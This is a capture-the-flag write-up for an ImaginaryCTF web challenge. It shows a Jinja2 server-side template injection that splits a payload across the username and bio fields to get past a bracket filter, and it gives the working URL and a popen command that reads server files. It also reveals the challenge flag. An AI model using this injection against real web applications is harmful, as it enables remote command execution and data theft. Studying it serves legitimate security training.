Description
My last attempt at making a social media platform ended poorly, but I've never been one to give up easily. I'm trying again, this time with absolutely no state for extra security.
Attachments
http://puzzler7.imaginaryctf.org:14005/
Writeup
http://puzzler7.imaginaryctf.org:14005/user?username=%7B%7B%27%27%27%7D%7D&bio=%27%27%27%2Blipsum.__globals__.os.popen(%27cat+*.txt%27).read()%2B%27%27%27
Username: {{'''}}
Bio: '''+lipsum.__globals__.os.popen('cat *.txt').read()+'''
Brackets are blacklisted in the bio, so it's impossible to do SSTI there alone, and the username is too short to SSTI (I believe the shortest known RCE SSTI payload is 40 characters + command length). However, the username is placed both before and after the bio, so we can put most of our payload in the bio, and just put brackets in the username.
We do this with a username of {{'''}}
and a bio of '''+<payload>+'''
, making our final output:
{{'''}}
<garbage>
'''+<payload>+'''
<garbage>
{{'''}}
The open brackets open a template. The triple quotes makes a multiline string, eating the close brackets and the first garbage, then our payload is executed, and the we make another multiline string, eating the second garbage and the open brackets, and then our template is finally closed.
Finally, we can substitute for your favorite Jinja SSTI payload, or grab one from https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#jinja2 if you don't have a favorite.
Flag
ictf{definitely_a_trillion_dollar_company}